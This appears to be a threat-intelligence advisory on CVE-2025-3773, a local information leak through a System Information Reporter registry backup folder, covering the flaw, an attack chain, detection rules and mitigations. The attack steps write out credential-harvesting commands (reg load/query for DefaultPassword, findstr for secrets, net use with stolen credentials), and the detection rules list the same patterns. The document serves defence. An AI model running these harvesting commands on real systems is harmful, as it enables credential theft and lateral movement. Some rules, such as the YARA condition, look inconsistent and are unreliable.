CVE-2025-3773

Executive Summary

CVE-2025-3773 is a sensitive information exposure vulnerability in System Information Reporter (SIR) version 1.0.3 and prior. An authenticated, non-admin local user can extract sensitive data from a registry backup folder that contains privileged system information. The vulnerability requires local access with valid low-privilege credentials, and the exposed data may include configuration secrets, service account credentials, or other sensitive registry-backed data. While the attack surface is local-only, the potential for lateral movement and privilege escalation makes this a medium-risk finding for enterprise environments running SIR on shared or multi-user systems.

Technical Analysis

Vulnerability Mechanism

System Information Reporter (SIR) is a Windows-based utility designed to collect comprehensive system information — hardware inventory, installed software, network configuration, and various OS-level details — and produce structured reports. As part of its normal operation, SIR creates a backup of the Windows registry hive (or a subset thereof, typically HKLM\SOFTWARE, HKLM\SYSTEM, or the security/account policy hives) to a dedicated backup folder on the local filesystem.

The vulnerability is rooted in weak discretionary access control (DACL) on this registry backup folder. When SIR 1.0.3 (and prior) creates the backup directory — commonly located at %PROGRAMDATA%\System Information Reporter\Backup\ or %LOCALAPPDATA%\SIR\RegistryBackup\ — it fails to assign restrictive NTFS permissions. By default, the folder inherits permissions that grant Authenticated Users or Users read access, allowing any authenticated local user to enumerate and read the contents.

The backup itself may contain:

• Registry keys with service account credentials (e.g., plaintext or reversible-encrypted passwords)
• SQL Server or application connection strings
• Pre-Shared Keys (PSKs) for VPN or Wi-Fi
• Token Secrets, API keys, or other application secrets embedded in installed third-party software registry entries

Because the backup is a snapshot of the registry hive, it preserves secrets exactly as stored — including any that the operating system or applications store in a weakly protected format.

Attack Surface

• Attack Vector: Local (requires valid authentication on the host)
• Privileges Required: Low (non-admin standard user)
• User Interaction: None required
• Complexity: Low — no special techniques required; simple file enumeration and text parsing

The attack surface includes any endpoint running SIR 1.0.3 or earlier. Particularly affected environments:

• RDS (Remote Desktop Services) hosts where multiple users share a single OS
• Citrix VDI or terminal server deployments
• Lab machines, shared developer workstations, or CI/CD build agents
• Server OS with attended or service-based SIR execution creating backups under a shared directory

Technical Root Cause

The root cause is a missing DACL hardening step during backup folder creation. SIR either:

1. Uses CreateDirectory() with null security descriptor (inheriting permissive parent ACLs), or
2. Copies the registry hive via RegSaveKeyEx() into a folder whose ACLs are never tightened afterward.

Additionally, SIR may fail to implement Encrypting File System (EFS) or BitLocker awareness, and backup location may reside on a volume that is not encrypted at rest.

Exploitation Scenarios

Step-by-Step Attack Chain

Step 1 — Reconnaissance / Target Identification

• Attacker gains initial access to the target host as a non-admin user (e.g., via phishing that drops a payload, or legitimate access to a shared corporate workstation).
• Attacker enumerates local filesystem and running services:

  C:\> tasklist /svc | findstr /i "SIR"
  C:\> dir "C:\Program Files" /s /b | findstr /i "System Information Reporter"
  

• Alternatively, the attacker checks common paths directly:

  C:\> dir "%PROGRAMDATA%\System Information Reporter" /a
  C:\> dir "C:\Program Files (x86)\SIR\Backup"
  

Step 2 — Trigger / Weaponization

• No exploit trigger is required beyond browsing the filesystem. The attacker verifies ACLs on the backup folder:

  C:\> icacls "C:\ProgramData\SIR\Backup"
  

  Expected result: BUILTIN\Users:(R) or Everyone:(R) — confirming read access.
• The attacker locates the registry backup file, typically named system.hiv, software.hiv, security.hiv, or NTUSER.DAT variants, or a single .reg text export.

Step 3 — Payload / Execution

• The attacker executes a local script to parse the backup file. For binary hive format:

  C:\> reg load HKU\TempHive "C:\ProgramData\SIR\Backup\software.hiv"
  C:\> reg query HKU\TempHive\Microsoft\Windows NT\CurrentVersion\Winlogon /v DefaultPassword
  C:\> reg query HKU\TempHive\Software\Microsoft\Windows\CurrentVersion\Run /s
  C:\> reg unload HKU\TempHive
  

• For .reg text exports, simpler: findstr /i "password secret key token" backup.reg > harvested.txt
• The attacker also scans for stored Wi-Fi profiles, VPN credentials, and application passwords:

  C:\> reg query HKU\TempHive\Software\Microsoft\WwanSvc\Profiles /s
  C:\> reg query HKU\TempHive\Software\Microsoft\Internet Explorer\Main /v Default_Page_URL
  

Step 4 — Post-Exploitation

• With harvested credentials, the attacker attempts:
  • Lateral movement: net use \\HR-FILE-SRV\share /user:CORP\svc_backup <password>
  • Privilege escalation: Try the harvested credentials against the local admin account or use stored LSA secrets to impersonate a service account.
  • Persistence: If any harvested secret corresponds to a service's Run key, the attacker can implant a malicious binary replacing the legitimate service executable.
• The attacker masquerades activity by deleting %TEMP% artifacts and clearing PowerShell console history.

Realistic Constraints

(Local-only attack, requires prior valid authentication; no remote exploitation possible. Attack success is highly dependent on whether sensitive secrets were persisted in the registry snapshot.)

Impact Assessment

Business Impact:

• Credential exposure leading to account takeover of service accounts, domain accounts, or application accounts.
• Lateral movement within the environment when harvested credentials are reused across systems (password reuse is prevalent in enterprise environments).
• Regulatory exposure — if the backup contains credentials for systems processing PCI, PHI, or PII data, this could trigger breach reporting obligations.
• Blast radius: Any system running SIR ≤ 1.0.3 with a mounted backup directory readable by standard users. Guest VMs and ephemeral build agents are particularly at risk.

CVSS Context: The vulnerability is unrated (CVSS N/A) by the CNA; however, a reasonable estimation based on the described properties (Local, Low complexity, Low privileges, High confidentiality) would fall in the Medium severity band (4.0–6.9) per the CVSS 3.x scale.

Detection Guidance

Sigma Rule

title: Suspicious Registry Hive Access via SIR Backup Folder
id: 8f3b2a7c-4e55-4f9b-9d2b-1a8c3e5d7f90
status: experimental
description: Detects non-admin user reading SIR registry backup files or mounting them as registry hives
author: ValtersIT Threat Intelligence
logsource:
    category: process_creation
    product: windows
detection:
    selection_reg_load:
        Image|endswith: '\reg.exe'
        CommandLine|contains|all:
            - 'reg'
            - 'load'
            - 'HKU'
        CommandLine|contains:
            - 'SIR'
            - 'System Information Reporter'
            - 'RegistryBackup'
    selection_reg_query:
        Image|endswith: '\reg.exe'
        CommandLine|contains|all:
            - 'reg'
            - 'query'
            - 'TempHive'
    selection_file_access:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
        CommandLine|contains:
            - 'system.hiv'
            - 'software.hiv'
            - 'security.hiv'
            - 'SIR\Backup'
    condition: selection_reg_load or selection_reg_query or selection_file_access
falsepositives:
    - Legitimate SIR diagnostic operations by admin users
level: medium
tags:
    - attack.t1005
    - attack.collection
    - cve.2025.3773

YARA Rule

rule CVE_2025_3773_SIR_RegistryBackup_Access
{
    meta:
        author = "ValtersIT Threat Intelligence"
        date = "2025-04-01"
        description = "Detects references to SIR registry backup file paths in process command lines"
        cve = "CVE-2025-3773"
        severity = "medium"
    strings:
        $path1 = "C:\\ProgramData\\System Information Reporter\\Backup\\"
        $path2 = "%PROGRAMDATA%\\System Information Reporter\\Backup"
        $path3 = "C:\\Program Files (x86)\\SIR\\Backup"
        $path4 = "RegistryBackup"
        $hive1 = "system.hiv"
        $hive2 = "software.hiv"
        $hive3 = "security.hiv"
        $hive4 = "SAM.hiv"
        $cmd_reg = "reg load"
        $cmd_reg2 = "reg query"
    condition:
        (uint16(0) == 0x5A4D) and
        (1 of ($path*) or 1 of ($hive*)) and
        (1 of ($cmd_reg*) or 1 of ($cmd_reg2*))
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2025-3773 - SIR Registry Backup Exfiltration Attempt (HTTP-based C2)"; flow:established,to_server; content:"SIR"; nocase; content:"Backup"; nocase; content:"reg"; nocase; content:"query"; nocase; http.uri; classtype:attempted-user; sid:20253773; rev:1;)

Note: This vulnerability is local-only. A pure host-based Suricata rule cannot detect local file access. The above detects attacker attempts to upload harvested data via HTTP if a web-based exfiltration pattern includes SIR-related filenames in the URL. Deploy host-based detection for full coverage.

Elastic Detection

process where event.code == "1" and
  (
    (process.name == "reg.exe" and process.args in ("load", "query") and
      any(process.args, a -> a like "*TempHive*" or a like "*SIR*" or a like "*Backup*")) or
    (process.name in ("cmd.exe", "powershell.exe", "pwsh.exe") and
      any(process.command_line, c -> c like "*SIR*Backup*" or c like "*system.hiv*" or c like "*software.hiv*" or c like "*security.hiv*"))
  ) and
  not process.name == "SIR.exe"

Splunk SPL Query

index=windows sourcetype=WinEventLog:Security EventCode=4688
| where match(New_Process_Name, "(?i)reg\.exe") AND (match(CommandLine, "(?i)load") OR match(CommandLine, "(?i)query"))
| search CommandLine IN ("*TempHive*", "*SIR*", "*Backup*", "*system.hiv*", "*software.hiv*", "*security.hiv*")
| eval is_admin = if(Account_Name IN ("Administrator", "SYSTEM", "DOMAIN\\*Admin"), "yes", "no")
| where is_admin == "no"
| table _time, host, Account_Name, New_Process_Name, CommandLine, Parent_Process_Name
| sort - _time

Wazuh OSSEC Rule

<group name="windows,sir,cve-2025-3773,">
  <rule id="100377" level="12">
    <if_group>windows</if_group>
    <field name="win.eventdata.image">reg.exe</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(load|query).*(TempHive|SIR.*Backup|system\.hiv|software\.hiv|security\.hiv)</field>
    <description>CVE-2025-3773: Potential SIR registry backup sensitive data access by non-admin user</description>
    <mitre>
      <id>T1005</id>
    </mitre>
    <group>attack.data_from_local_system</group>
  </rule>

  <rule id="100378" level="10">
    <if_sid>100377</if_sid>
    <field name="win.eventdata.subjectUserSid" type="pcre2">^S-1-5-21-.*-\d{3,4}$</field>
    <description>CVE-2025-3773: Confirmed non-admin user access to SIR backup registry files</description>
    <group>attack.data_from_local_system</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence (2/4 — CLAIMED)

• A fix is claimed to exist by a single source; however, no official advisory, CVE CNA page update, or vendor download link has been independently confirmed. Before applying any "patch," validate the source's integrity.

1. Immediate Mitigations (No Patch)

• Revoke read permissions on the SIR backup folder immediately:

  icacls "C:\ProgramData\System Information Reporter\Backup" /remove "Users" /inheritance:r
  icacls "C:\ProgramData\System Information Reporter\Backup" /grant "SYSTEM:(OI)(CI)F" "Administrators:(OI)(CI)F" "LOCAL SERVICE:(OI)(CI)R"
  

• Delete existing backup files after ensuring no legitimate need:

  del /s /q "C:\ProgramData\System Information Reporter\Backup\*.*"
  

• Disable SIR's scheduled backup task if the backup feature is not business-critical:
  • schtasks /query | findstr /i "SIR" → identify task → schtasks /change /tn "TaskName" /disable
• Restrict local logon rights on servers where SIR is installed; limit Users group logon to deny interactive sessions:

  secedit /configure /db secedit.sdb /cfg restricted_logon.inf
  

• Enable BitLocker or EFS on the volume where the backup folder resides to mitigate data-at-rest exposure if an attacker steals the physical disk.

2. Patch / Upgrade Steps

• Contact vendor via the CVE CNA channel (http://www.system-information-reporter.com or the software distributor listed in the product's README) to request the patched binary and verify checksums.

• Version check: Confirm current installed version:

  wmic product where "name like 'System Information Reporter'" get version
  

• Apply patch: If vendor supplies SIR 1.0.4+ (or equivalent), install after:

  1. Backing up existing SIR config files (not the registry backup folder).
  2. Stopping SIR service (if running):

     net stop SIRService
     

  3. Running installer with msiexec /i SIR_1.0.4.msi /qn (or via GUI for per-user installations).
  4. Verify folder DACLs post-install:

     icacls "C:\ProgramData\System Information Reporter\Backup"
     

     Restrictive ACLs must show only SYSTEM and Administrators with read/write, and Users should have no access.

• If no patch becomes available: Uninstall SIR 1.0.3 and replace with an equivalent reporting tool that follows secure-by-default ACL practices.

3. Long-Term Hardening

• Harden backup storage: Instruct SIR to write backups to an encrypted folder or a dedicated volume mounted only during backup execution.
• Least Privilege for service accounts: Run SIR under a dedicated low-privilege service account that has write access only to its own output folder, never to the entire registry hive content.
• Log & Monitor: Deploy the Sigma/Elastic/Splunk rules provided above to alert on any access to the Backup folder pattern.
• Periodic Secret Auditing: Use tools like Sysinternals AccessChk weekly to audit ACLs on all %PROGRAMDATA% subfolders.
• Disable registry backup feature if it exists as an option in SIR's configuration; retain only the reporting function.
• Encrypt at rest company-wide (BitLocker/Windows Information Protection) to reduce the impact of any future local disclosure.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-3773 — Official CVE details, description, and current status.
2. CVE Program (CNA) / MITRE: https://www.cve.org/CVERecord?id=CVE-2025-3773 — Cross-referenced CNA metadata.
3. System Information Reporter vendor portal (if accessible): http://www.system-information-reporter.com — Product download and potential advisory pages.
4. MITRE ATT&CK Technique T1005 — https://attack.mitre.org/techniques/T1005/ — Techniques taxonomy for data from local system.
5. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog — Verified as NOT listed (CISA KEV: NO) as of report date.

Threat Actor Activity: No known campaigns exploiting CVE-2025-3773 have been reported in open-source threat intelligence at the time of writing. The vulnerability is local-only, which reduces its appeal for widespread internet-based exploitation but does not eliminate risk in multi-tenant host environments. Monitor VRT, Talos, and vendor feeds for future intelligence updates.